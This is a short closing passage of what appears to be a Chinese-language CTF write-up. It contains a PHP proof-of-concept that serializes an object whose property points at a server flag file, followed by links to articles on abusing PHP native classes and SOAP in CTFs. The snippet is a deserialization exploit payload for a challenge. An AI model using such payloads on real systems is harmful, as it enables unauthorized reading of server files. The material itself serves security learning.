public $para="/var/www/html/aMaz1ng_y0u_coUld_f1nd_F1Ag_hErE/flag.php";
public $check;
}

$poc = new A();
echo serialize($poc);

参考文章:
PHP 原生类在 CTF 中的利用: https://www.anquanke.com/post/id/238482

从几道CTF题看SOAP安全问题: https://www.anquanke.com/post/id/153065